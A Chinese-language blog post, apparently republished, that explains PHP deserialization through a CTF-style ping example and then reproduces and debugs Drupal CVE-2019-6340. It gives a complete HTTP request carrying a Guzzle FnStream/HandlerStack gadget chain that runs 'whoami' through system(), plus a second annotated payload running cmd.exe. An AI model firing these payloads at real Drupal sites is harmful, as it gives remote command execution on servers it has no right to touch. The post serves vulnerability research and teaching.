PHP代码审计之反序列化攻击链CVE-2019-6340漏洞研究

关键词

         php 反序列化 cms Drupal CVE-2019-6340 DrupalKernel

前言

        简简单单介绍下php的反序列化漏洞

php反序列化漏洞简单示例

来看一段简单的php反序列化示例

<?phpclass pingTest {public $ipAddress = "127.0.0.1";public $isValid = False;public $output = "";function validate() {if (!$this->isValid) {if (filter_var($this->ipAddress, FILTER_VALIDATE_IP)){$this->isValid = True;}}$this->ping();}public function ping(){if ($this->isValid) {$this->output = shell_exec("ping -c 3 $this->ipAddress");}}}if (isset($_POST['obj'])) {$pingTest = unserialize(urldecode($_POST['obj']));
} else {$pingTest = new pingTest;
}$pingTest->validate();echo "<html>
<head>
<script src=\"http://secure.cereal.ctf:44441/php.js\"></script>
<script>
function submit_form() {var object = serialize({ipAddress: document.forms[\"ipform\"].ip.value});object = object.substr(object.indexOf(\"{\"),object.length);object = \"O:8:\\\"pingTest\\\":1:\" + object;document.forms[\"ipform\"].obj.value = object;document.getElementById('ipform').submit();
}
</script>
<link rel='stylesheet' href='http://secure.cereal.ctf:44441/style.css' media='all' />
<title>Ping Test</title>
</head>
<body>
<div class=\"form-body\">
<div class=\"row\"><div class=\"form-holder\"><div class=\"form-content\"><div class=\"form-items\"><h3>Ping Test</h3><form method=\"POST\" action=\"/\" id=\"ipform\" onsubmit=\"submit_form();\" class=\"requires-validation\" novalidate><div class=\"col-md-12\"><input name=\"obj\" type=\"hidden\" value=\"\"><input class=\"form-control\" type=\"text\" name=\"ip\" placeholder=\"IP Address\" required></div><br /><div class=\"form-button mt-3\"><input type=\"submit\" value=\"Ping!\"><br /><br /><textarea>$pingTest->output</textarea></div></form></div></div></div>
</div>
</div>
</body>
</html>";?>

这里接收一个名为obj的post 参数,对其进行unserialize,调用反序列化后对象的validate方法,不过之要isValid进行判断是true就可以执行shell_exec函数,并且里面的ipAddress是拼接上去的,我们可以用逻辑符造成任意命令执行。

反序列化的对象我们可以指定,那么对象之中的属性值我们自然也可以指定。注意这里说的是对象的的属性值,是基于类中有的。你若想加一个属性或者重写一个方法那指定不行(温习下php的反序列化)。

正常的用户的请求是这样的

Obj:O:8:"pingTest":1:{s:9:"ipAddress";s:9:"127.0.0.1";}

这里的0表示的对象(传参是对象),后面的8是指类名长度为8,1表示我有一个成员属性 s:9表示字符串有9个长度(ipaddress)

xxx;xxxx 代表一个key:val

攻击payload生成

<?phpclass pingTest {public $ipAddress = "127.0.0.1 | id";public $isValid = True;}
$obj = new pingTest();
echo serialize($obj);
?>

O:8:"pingTest":2:{s:9:"ipAddress";s:14:"127.0.0.1 | id";s:7:"isValid";b:1;}

如此一来就可以过if条件判断,可以执行命令id了

反序列化漏洞小知识

php是一个弱类型的语言,这里的弱是指什么意思呢!对比下C语言和java语言在声明变量的时候必须指定变量的数据类型,然而在其它一些语言上则根本不用这样做如python PHP,只需有一个变量名就可以存任意数据类型的参数,这点我很不喜欢,太不规范了,我想这也是照成=与==漏洞的原因吧,

回到PHP反序列化,为什么我要说这个机制呢,因为实际中(非ctf)都是对象中存储对象(像上面的$isValid只能存bool类型的值吗 当然不string int 甚至是一个对象它都可以存储),对象又再次存储对象呢。由此可能造成一条反序列化链。

此外还有属于PHP反序列化的魔术方法,这也很好理解。要在对对象建立后优先执行一些代码如初始化之类的,执行方法前去执行一些代码,对象用完后执行一些代码如销毁。这就是一个切面编程的思想(哈哈哈不知道它们谁先出现,也许程序员心有灵犀)。其中魔术方法会根据对象里的属性值去执行某种逻辑,或是判断或是调用。这里如果没有严格过滤,就有可能照成一条倒是命令执行利用链。

Drupalcms——CVE-2019-6340漏洞复现

版本影响Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.

https://www.drupal.org/sa-core-2019-003icon-default.png?t=N7T8https://www.drupal.org/sa-core-2019-003

根据漏洞影响版本,我们下载8.6.9

https://www.drupal.org/project/drupal/releases/8.6.9icon-default.png?t=N7T8https://www.drupal.org/project/drupal/releases/8.6.9

安装cms

安装完成后,打开主页面

来到扩展 将web services 的所有扩展打开

payload 测试

POST /drupal-8.6.9/node/?_format=hal_json HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 642
Content-Type: application/hal+json
Accept-Encoding: gzip{"link": [{"value": "link","options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:6:\"whoami\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"}],"_links": {"type": {"href":"http://127.0.0.1/drupal-8.6.9/rest/type/shortcut/default"}}
}

 注意了options的内容为php序列化的内容,所以s:6:"whoami";s表示string参数类型,6表是长度为6,whoami就是我们执行的命令了,改成其他的命令记得把长度写发生响应的改变。

 结果显示whoami已经执行,权限是system的权限,这也是windows搭建web的弊端了!

CVE-2019-6340代码调试分析

打开index.php

<?php/*** @file* The PHP page that serves all page requests on a Drupal installation.** All Drupal code is released under the GNU General Public License.* See COPYRIGHT.txt and LICENSE.txt files in the "core" directory.*/use Drupal\Core\DrupalKernel;
//DrupalKernel 类是 Drupal 的核心引导类,负责初始化和管理整个 Drupal 应用程序的生命周期。
use Symfony\Component\HttpFoundation\Request;
//Symfony\Component\HttpFoundation\Request 类是 Symfony 框架中的一个组件,用于处理和封装 HTTP 请求。
$autoloader = require_once 'autoload.php';
$kernel = new DrupalKernel('prod', $autoloader);
// 加载 Drupal 的自动加载器和内核。
//$autoloader 是自动加载器对象,用于自动加载应用程序中的类文件$request = Request::createFromGlobals();
// 创建一个新的 HTTP 请求对象。
//这个方法会自动获取当前请求的各种信息,如请求方法、URL、头部信息等,并将其封装在一个 Request 对象中$response = $kernel->handle($request);
// 处理请求并获取响应对象。
//调用了 Drupal 内核对象的 handle() 方法,用于处理当前请求并生成一个响应对象。这个过程包括路由匹配、控制器调用、模板渲染等操作,具体实现方式可以参考 Drupal 的路由和控制器系统。$response->send();
// 将响应内容发送给客户端。$kernel->terminate($request, $response);
// 结束请求处理过程,清理资源。

打上断点 进入$response = $kernel->handle($request);

 public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = TRUE) {// Ensure sane PHP environment variables.static::bootEnvironment();//调用 bootEnvironment() 方法来确保 PHP 环境变量的正确性。try {$this->initializeSettings($request);//尝试初始化设置(initializeSettings)。// Redirect the user to the installation script if Drupal has not been// installed yet (i.e., if no $databases array has been defined in the// settings.php file) and we are not already installing.if (!Database::getConnectionInfo() && !drupal_installation_attempted() && PHP_SAPI !== 'cli') {$response = new RedirectResponse($request->getBasePath() . '/core/install.php', 302, ['Cache-Control' => 'no-cache']);}//如果数据库连接信息不存在且没有进行 Drupal 安装尝试,并且不是在命令行环境下运行,则重定向用户到安装脚本(install.php)else {//否则,调用 boot() 方法进行启动,并调用 $this->getHttpKernel()->handle($request, $type, $catch) 处理请求$this->boot();$response = $this->getHttpKernel()->handle($request, $type, $catch);//断点进入}}catch (\Exception $e) {if ($catch === FALSE) {throw $e;}$response = $this->handleException($e, $request, $type);}// Adapt response headers to the current request.$response->prepare($request);return $response;}

中间省略......... 咱们直接来到

REST API request.部分

/*** Handles a REST API request.** @param \Drupal\Core\Routing\RouteMatchInterface $route_match*   The route match.* @param \Symfony\Component\HttpFoundation\Request $request*   The HTTP request object.* @param \Drupal\rest\RestResourceConfigInterface $_rest_resource_config*   The REST resource config entity.** @return \Drupal\rest\ResourceResponseInterface|\Symfony\Component\HttpFoundation\Response*   The REST resource response.*/
public function handle(RouteMatchInterface $route_match, Request $request, RestResourceConfigInterface $_rest_resource_config) {$resource = $_rest_resource_config->getResourcePlugin();$unserialized = $this->deserialize($route_match, $request, $resource);//开始反序列化了打上断点进入调试$response = $this->delegateToRestResourcePlugin($route_match, $request, $unserialized, $resource);return $this->prepareResponse($response, $_rest_resource_config);
}

该方法是 Drupal REST API 模块的请求处理程序。它接收三个参数:RouteMatchInterface $route_match 表示当前路由匹配的对象,Request $request 表示当前 HTTP 请求对象,RestResourceConfigInterface $_rest_resource_config 表示当前的 REST 资源配置实体。

具体逻辑如下:

  • 首先,从 $rest_resource_config 中获取相应的资源插件(resource plugin)。

  • 然后,使用 $this->deserialize() 方法对请求中的数据进行反序列化,并将结果保存在 $unserialized 变量中。

  • 接下来,调用 $this->delegateToRestResourcePlugin() 方法委托给资源插件进行进一步的处理,并将结果保存在 $response 变量中。

  • 最后,使用 $this->prepareResponse() 方法对响应进行处理和准备,并将其返回。

需要注意的是,该方法中的 $this->deserialize()$this->delegateToRestResourcePlugin()$this->prepareResponse() 方法并未在该代码片段中定义,它们可能是该类的其他成员方法或从其他地方引入的依赖项。

总体上,该方法的作用是将 HTTP 请求委托给指定的 REST 资源插件进行处理,并返回处理后的响应。

进入deserialize函数

protected function deserialize(RouteMatchInterface $route_match, Request $request, ResourceInterface $resource) {// Deserialize incoming data if available.$received = $request->getContent();
//首先,从请求对象中获取请求的内容,并将其保存在 $received 变量中,这个变量可控$unserialized = NULL;if (!empty($received)) {//获取规范化的请求方法和请求内容类型。$method = static::getNormalizedRequestMethod($route_match);$format = $request->getContentType();//得到参数的方法 重点分析一下//从资源插件定义中获取相关信息。$definition = $resource->getPluginDefinition();// First decode the request data. We can then determine if the// serialized data was malformed.try {$unserialized = $this->serializer->decode($received, $format, ['request_method' => $method]);//断点进入}catch (UnexpectedValueException $e) {// If an exception was thrown at this stage, there was a problem// decoding the data. Throw a 400 http exception.throw new BadRequestHttpException($e->getMessage());}// Then attempt to denormalize if there is a serialization class.if (!empty($definition['serialization_class'])) {try {$unserialized = $this->serializer->denormalize($unserialized, $definition['serialization_class'], $format, ['request_method' => $method]);//断点分析}// These two serialization exception types mean there was a problem// with the structure of the decoded data and it's not valid.catch (UnexpectedValueException $e) {throw new UnprocessableEntityHttpException($e->getMessage());}catch (InvalidArgumentException $e) {throw new UnprocessableEntityHttpException($e->getMessage());}}}return $unserialized;
}

......

进入decodingImpl的decode方法

public function decode($data, $format, array $context = array())
{// 解析上下文参数$context = $this->resolveContext($context);// 从上下文中获取 JSON 解码时的相关参数$associative = $context['json_decode_associative'];$recursionDepth = $context['json_decode_recursion_depth'];$options = $context['json_decode_options'];// 使用 json_decode 函数对数据进行解码$decodedData = json_decode($data, $associative, $recursionDepth, $options);
/*将 $associative 参数设置为 true。这意味着解码结果将被转换为关联数组而不是对象
限制递归深度512
$options 参数来设置 JSON 解码选项
*/// 检查解码过程中是否出现错误if (JSON_ERROR_NONE !== json_last_error()) {throw new NotEncodableValueException(json_last_error_msg());}// 返回解码后的数据return $decodedData;
}

.....

denormalize方法调入

//这段代码是Symfony框架的DenormalizerInterface接口方法denormalize()的实现。
public function denormalize($data, $type, $format = null, array $context = array())
{// 检查是否已注册至少一个normalizerif (!$this->normalizers) {throw new LogicException('You must register at least one normalizer to be able to denormalize objects.');}if ($normalizer = $this->getDenormalizer($data, $type, $format, $context)) {// 调用normalizer的denormalize方法进行反序列化操作return $normalizer->denormalize($data, $type, $format, $context);//断点调试}throw new NotNormalizableValueException(sprintf('Could not denormalize object of type %s, no supporting normalizer found.', $type));
}

进入

public function denormalize($data, $class, $format = NULL, array $context = []) {// Get type, necessary for determining which bundle to create.if (!isset($data['_links']['type'])) {throw new UnexpectedValueException('The type link relation must be specified.');}// Create the entity.$typed_data_ids = $this->getTypedDataIds($data['_links']['type'], $context);//断点分析 需要重点关注一下$entity_type = $this->getEntityTypeDefinition($typed_data_ids['entity_type']);$default_langcode_key = $entity_type->getKey('default_langcode');$langcode_key = $entity_type->getKey('langcode');$values = [];// Figure out the language to use.if (isset($data[$default_langcode_key])) {// Find the field item for which the default_langcode value is set to 1 and// set the langcode the right default language.foreach ($data[$default_langcode_key] as $item) {if (!empty($item['value']) && isset($item['lang'])) {$values[$langcode_key] = $item['lang'];break;}}// Remove the default langcode so it does not get iterated over below.unset($data[$default_langcode_key]);}if ($entity_type->hasKey('bundle')) {$bundle_key = $entity_type->getKey('bundle');$values[$bundle_key] = $typed_data_ids['bundle'];// Unset the bundle key from data, if it's there.unset($data[$bundle_key]);}$entity = $this->entityManager->getStorage($typed_data_ids['entity_type'])->create($values);// Remove links from data array.unset($data['_links']);// Get embedded resources and remove from data array.$embedded = [];if (isset($data['_embedded'])) {$embedded = $data['_embedded'];unset($data['_embedded']);}// Flatten the embedded values.foreach ($embedded as $relation => $field) {$field_ids = $this->linkManager->getRelationInternalIds($relation);if (!empty($field_ids)) {$field_name = $field_ids['field_name'];$data[$field_name] = $field;}}$this->denormalizeFieldData($data, $entity, $format, $context);//断点进入// Pass the names of the fields whose values can be merged.// @todo https://www.drupal.org/node/2456257 remove this.$entity->_restSubmittedFields = array_keys($data);return $entity;
}

.......

public function denormalize($data, $class, $format = NULL, array $context = []) {if (!isset($context['target_instance'])) {throw new InvalidArgumentException('$context[\'target_instance\'] must be set to denormalize with the FieldItemNormalizer');}if ($context['target_instance']->getParent() == NULL) {throw new InvalidArgumentException('The field item passed in via $context[\'target_instance\'] must have a parent set.');}$field_item = $context['target_instance'];// If this field is translatable, we need to create a translated instance.if (isset($data['lang'])) {$langcode = $data['lang'];unset($data['lang']);$field_definition = $field_item->getFieldDefinition();if ($field_definition->isTranslatable()) {$field_item = $this->createTranslatedInstance($field_item, $langcode);}}$field_item->setValue($this->constructValue($data, $context));return $field_item;
}

到setValue

public function setValue($values, $notify = TRUE) {// Treat the values as property value of the main property, if no array is// given.if (isset($values) && !is_array($values)) {$values = [static::mainPropertyName() => $values];}if (isset($values)) {$values += ['options' => [],];}// Unserialize the values.// @todo The storage controller should take care of this, see//   SqlContentEntityStorage::loadFieldItems, see//   https://www.drupal.org/node/2414835if (is_string($values['options'])) {$values['options'] = unserialize($values['options']);//漏洞触发点}parent::setValue($values, $notify);
}

至此终于找到漏洞促发点了 !options为可控变量,对其进行unserialize 已经是反序列化漏洞形成的前提了,现在我们只需找出这在个cms库中存在的一条反序列化漏洞链就可以rce了

Guzzle库的序列化漏洞利用链

利用Drupal自带的Guzzle库

分析FnStream 类 与 HandlerStack类

class FnStream implements StreamInterface
{/** @var array */private $methods;/** @var array Methods that must be implemented in the given array */private static $slots = ['__toString', 'close', 'detach', 'rewind','getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write','isReadable', 'read', 'getContents', 'getMetadata'];/*** @param array $methods Hash of method name to a callable.*/public function __construct(array $methods){$this->methods = $methods;// Create the functions on the classforeach ($methods as $name => $fn) {$this->{'_fn_' . $name} = $fn;}}/*** Lazily determine which methods are not implemented.* @throws \BadMethodCallException*/public function __get($name){throw new \BadMethodCallException(str_replace('_fn_', '', $name). '() is not implemented in the FnStream');}/*** The close method is called on the underlying stream only if possible.*/public function __destruct(){if (isset($this->_fn_close)) {call_user_func($this->_fn_close);//反序列化可触发这个类}//call_user_func("resolve") 调用function}/*** Adds custom functionality to an underlying stream by intercepting* specific method calls.** @param StreamInterface $stream  Stream to decorate* @param array           $methods Hash of method name to a closure** @return FnStream*/public static function decorate(StreamInterface $stream, array $methods){// If any of the required methods were not provided, then simply// proxy to the decorated stream.foreach (array_diff(self::$slots, array_keys($methods)) as $diff) {$methods[$diff] = [$stream, $diff];}return new self($methods);}public function __toString(){return call_user_func($this->_fn___toString);}public function close(){return call_user_func($this->_fn_close);}public function detach(){return call_user_func($this->_fn_detach);}public function getSize(){return call_user_func($this->_fn_getSize);}public function tell(){return call_user_func($this->_fn_tell);}public function eof(){return call_user_func($this->_fn_eof);}public function isSeekable(){return call_user_func($this->_fn_isSeekable);}public function rewind(){call_user_func($this->_fn_rewind);}public function seek($offset, $whence = SEEK_SET){call_user_func($this->_fn_seek, $offset, $whence);}public function isWritable(){return call_user_func($this->_fn_isWritable);}public function write($string){return call_user_func($this->_fn_write, $string);}public function isReadable(){return call_user_func($this->_fn_isReadable);}public function read($length){return call_user_func($this->_fn_read, $length);}public function getContents(){return call_user_func($this->_fn_getContents);}public function getMetadata($key = null){return call_user_func($this->_fn_getMetadata, $key);}
}
class HandlerStack
{/** @var callable */private $handler;/** @var array */private $stack = [];/** @var callable|null */private $cached;..../*** @param callable $handler Underlying HTTP handler.*/public function __construct(callable $handler = null){$this->handler = $handler;}/*** Invokes the handler stack as a composed handler** @param RequestInterface $request* @param array            $options*/public function __invoke(RequestInterface $request, array $options){$handler = $this->resolve();return $handler($request, $options);}........./*** Compose the middleware and handler into a single callable function.** @return callable*/public function resolve(){if (!$this->cached) {if (!($prev = $this->handler)) {throw new \LogicException('No handler has been specified');}foreach (array_reverse($this->stack) as $fn) {$prev = $fn[0]($prev);}$this->cached = $prev;}return $this->cached;}
......

若$fn[0]为system $prev 也可控则攻击链成立

"O:24:"GuzzleHttp\Psr7\FnStream":2:{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods";a:1:{s:5:"close";a:2:{i:0;O:23:"GuzzleHttp\HandlerStack":3:{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler";s:70:"cmd.exe /c set /a 2089950217 - 1907099809&expr 2089950217 - 1907099809";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7:"resolve";}}s:9:"_fn_close";a:2:{i:0;r:4;i:1;s:7:"resolve";}}"

"O:24:"GuzzleHttp\Psr7\FnStream"(类名24个长度):2(2个属性):{s:33:"\u0000GuzzleHttp\Psr7\FnStream\u0000methods"(第一个属性为FnStream类下的methods赋值为数组);a:1(数组一个):{s:5:"close"(key为close);a:2(value为数组属性有两个):{i:0(第一个为对象);O:23:"GuzzleHttp\HandlerStack":3(有三个属性成员):{s:32:"\u0000GuzzleHttp\HandlerStack\u0000handler(第一个为handler)";s:70:"cmd.exe /c set /a 2089950217 - 1907099809&expr 2089950217 - 1907099809";s:30:"\u0000GuzzleHttp\HandlerStack\u0000stack(第二个为stack是数组)";a:1:{i:0;a:1:{i:0;s:6:"system";}}s:31:"\u0000GuzzleHttp\HandlerStack\u0000cached";b:0;}i:1;s:7(第二个为字符串):"resolve";}}(结束)s:9:"fn_close"(第二个属性为fn_close);a:2:{i:0;r:4(引用类型);i:1;s:7:"resolve";}}(fn_close=resolve 调用resolve方法)"

大致长成这个样子

如此一来在call_user_func($this->_fn_close);的时候

就会调用resolve函数 按照机制优先从本类的funtion去寻找,没有找到会从引用的对象中找,这就找到了methods存储的对象中的方法,(PHP语言为弱类型一个变量名可存任意类型的数据)。于是乎来到了GuzzleHttp\HandlerStack对象下的resolve方法,当然这个对象的属性也是可控的,$stack为数组内有system字符串之后遍历到$fn,拼接($prev) $prev有本对象的$handler赋值,如此一来参数可控,php反序列化恶意链成立造成命令执行。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/403470.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Portal-Basic Java Web 应用开发框架:应用篇(八) —— 整合 Freemarker

Portal-Basic Java Web应用开发框架&#xff08;简称 Portal-Basic&#xff09;是一套功能完备的高性能Full-Stack Web应用开发框架&#xff0c;内置稳定高效的MVC基础架构和DAO框架&#xff08;已内置Hibernate、MyBatis和JDBC支持&#xff09;&#xff0c;集成 Action拦截、F…

日常遇到的小问题

日常开发过程中&#xff0c;总会遇到各种小问题&#xff0c;特此记录下各种解决。 1. eclipse中部署项目到tomcat&#xff0c;启动tomcat时报错&#xff1a;  Resource is out of sync with the file system: ................ 太长只截取前一段&#xff0c;解决办法&#xff…

微信小程序,用户拒绝授权后重新授权;uni-app小程序,用户拒绝授权后点击无效;重新进入后拉起位置授权框;

问题&#xff1a;当用户第一次进入小程序&#xff0c;点击授权按钮后&#xff0c;点了拒绝&#xff0c;再次点击不会出现授权页面&#xff0c;只有再次进入小程序的时候&#xff0c;才会出发请求授权 。 案例&#xff1a; 假如我们获取微信位置&#xff0c;第一次点击的时候弹起…

​浅拷贝与深拷贝​

浅拷贝 与深拷贝 一、数据类型 数据分为基本数据类型(String, Number, Boolean, Null, Undefined&#xff0c;Symbol)和对象数据类型。 基本数据类型的特点&#xff1a;直接存储在栈(stack)中的数据 引用数据类型的特点&#xff1a;存储的是该对象在栈中引用&#xff0c;真实…

更改微信小程序的基础版本库;更改uni-app小程序基础库;更改用户的微信小程序基础库最低版本;设置用户的微信小程序版本库;

需求场景&#xff1a;微信小程序不少API都有最低版本支持&#xff0c;为了避免不必要的麻烦&#xff0c;我们可以根据需要给小程序设置基础库最低版本&#xff0c;这样若用户使用的基础库版本低于设置的最低版本要求&#xff0c;则无法正常使用小程序&#xff0c;并提示更新微信…

图灵社区 : 阅读 : 谁说Vim不是IDE?(三)

图灵社区 : 阅读 : 谁说Vim不是IDE&#xff1f;&#xff08;三&#xff09;Powerline1、下载地址https://github.com/Lokaltog/vim-powerline2、功能说明Powerline是Vim的一个非常漂亮的状态栏插件&#xff0c;安装了Powerline之后&#xff0c;Vim底部将会出现一个增强型状态栏…

uni-app小程序onShow执行两次;微信小程序onShow重复执行原因;导航栏tabBar页的onLoad函数不执行;App.vue页的onShow执行原因;onShow莫名其妙执行

1.只有五种情况会触发导航栏tabBar页的onLoad函数&#xff0c;分别是&#xff1a; –1.1&#xff1a;首次进入到导航栏tabBar页面&#xff1b; –1.2&#xff1a;从微信分享进入的导航栏tabBar页面&#xff1b; –1.3&#xff1a;识别二维码跳转到小程序的导航栏tabBar页面&…

用fiddler抓包小程序

第一步&#xff1a;安装fiddler,保证手机和PC端在同一个wifi下&#xff1b; 第二步&#xff1a;设置属性按图勾选第三步&#xff1a;以上两步设置完后&#xff0c;重启下fiddler(解决本地服务器不能访问)&#xff0c;然后查看本地IP地址第四步&#xff1a;手机设置HTTP代理 我的…

微信小程序保存图片到相册;uni-app小程序保存网络图片到相册;小程序保存图片到相册拒绝授权后重新拉起授权;保存图片到系统相册;小程序保存图片测试可以,真机保存图片失败

文末代码可以直接复制使用&#xff0c;图片修改成你的图片路径即可 一、场景&#xff1a; 小程序点击按钮&#xff0c;保存项目内的静态图片或者微信头像或者后端返回的图片&#xff1b; 二、注意点及思路拆分&#xff1a; –2.1&#xff1a;小程序保存图片功能&#xff0c;必须…

关于单片机中断

中断&#xff1a;CPU停止当前任务&#xff0c;去处理中断内容&#xff0c;处理完后自动恢复以前任务。 单片机有5个中断源&#xff0c;2个中断优先级&#xff0c;中断受两级控制&#xff1a; 1、CPU开总中断&#xff1b; 2、中断源开中断。 中断源&#xff1a;引起中断事件的类…

转:探索 AIX 6:在 AIX 6 上配置 iSCSI Target

引言iSCSI&#xff08;Internet Small Computer System Interface&#xff09;被业界认为是非常廉价的 SAN 解决方案&#xff0c;一直在中低端应用领域被市场所看好。 iSCSI 客户端和服务端都既可以通过硬件方式实现&#xff0c;也能通过软件方式的&#xff0c;其优劣区别就是在…

uni-app微信小程序生成自定义参数二维码,跳转小程序指定页面,获取参数;uni-app微信小程序获取二维码自定义参数;微信小程序生成动态参数二维码;uni-app微信小程序获取动态参数二维码;

一、场景需求&#xff1a; 在小程序个人名片页面A页面&#xff0c;生成用户的个人名片二维码&#xff08;该二维码携带用户的唯一标识id&#xff09;&#xff1b;微信扫一扫或长按图片识别这个二维码&#xff0c;可以跳转到小程序的B页面&#xff0c;并且在B页面拿到二维码上的…

【view桌面虚拟化系列】1-vSphere搭建

本系列一共三章&#xff0c;具体如下&#xff1a; 【view桌面虚拟化系列】1-vSphere搭建 【view桌面虚拟化系列】2-View搭建 【view桌面虚拟化系列】3-VDI实现 实验的目的:测试vsphere5.1a、view5.1测试整体运行状况。 首先介绍下环境&#xff08;所使用域名&#xff1a;vmc.co…

uni-app微信小程序保存页面到相册;canvas保存小程序页面;微信小程序保存二维码活动页面到相册;微信小程序canvas 生成海报保存到相册;canvas绘制小程序页面保存及分享;

文末代码可以直接复制运行&#xff08;只需要将中间的二维码图片、底部的微信和相册图片和微信头像配置白名单 改成你项目内的img图片即可成功运行&#xff09; 一、场景&#xff1a;在微信小程序 个人名片页面 含有微信头像和个人信息二维码&#xff08;识别可跳转小程序指定页…

面试经验谈架构

##################################################### #本文内容来自《老男孩linux运维实战培训》学生—郑东旭 #如有转载&#xff0c;请务必保留本文链接及本版权信息。 #欢迎广大运维同仁一起交流linux/unix网站运维技术! #QQ:919953500#E-mail:weilandeshanhuhai126.com …

微信小程序uni.switchTab传参获取不到;小程序跳转到tabBar页并传参;uni-app微信小程序获取tabBar页面参数失败;uni-app微信小程序tabBar页面onLoad不执行

需求场景&#xff1a;从非tabBar页面B跳转到tabBar页面A&#xff0c;并想要携带参数。 如果使用uni.switchTab传参&#xff0c;会导致tabBAE页面获取不到参数&#xff1b; 原因&#xff1a; 官方文档有说&#xff0c;uni.switchTab路径后不能带参数&#xff1b; uni.navigateT…

UIView的旋转iOS开发

更多阅读请访问http://www.hopean.com 有关UIView坐标变换的&#xff0c;但是经常不能得到自己想要的效果&#xff0c;今天就把它仔细研究了下。记下来等以后忘记的时候再复习 重写shouldAutorateToInterfaceOrientation:&#xff0c;限制某个方向会改变原点的位置&#xff0c;…

uni-app微信小程序uni.navigateTo跳转无效问题;记录一次uni-app页面跳转无效,来回跳转问题;wx.navigateTo ,跳转超过10次怎么点不动的解决办法。

场景需求&#xff1a;从小程序A页面跳转到小程序B页面&#xff0c;然后B页面还可以跳到A页面。 跳转失效原因&#xff1a; –1.uni.navigateTo只能跳转到非tabBar页面&#xff0c;tabBar导航栏页面只能用uni.switchTab方法跳转&#xff1b; –2.uni.navigateTo跳转的页面栈太多…

20160512关于mac安装caffe的记录

记得2015年在mac系统上安装过一次caffe&#xff0c;非常顺利&#xff0c;但是最近群里许多同学反映mac安装caffe出现了各种问题&#xff0c;同时我也在帮助别人安装caffe的时候也遇到了一些坑&#xff0c;不再像以前这么顺利了。估计与操作系统&#xff0c;caffe升级有关。 今晚…

Python学习笔记(二)

2019独角兽企业重金招聘Python工程师标准>>> pickle #腌制 pickle.dump() #保存数据 pickle.load() #恢复数据 locals() # 返回当前作用域中的变量集合 with语句会自动处理所有已打开文件的关闭工作&#xff0c;类似C#中的using() >>> data[5,78,3,45,7,1]…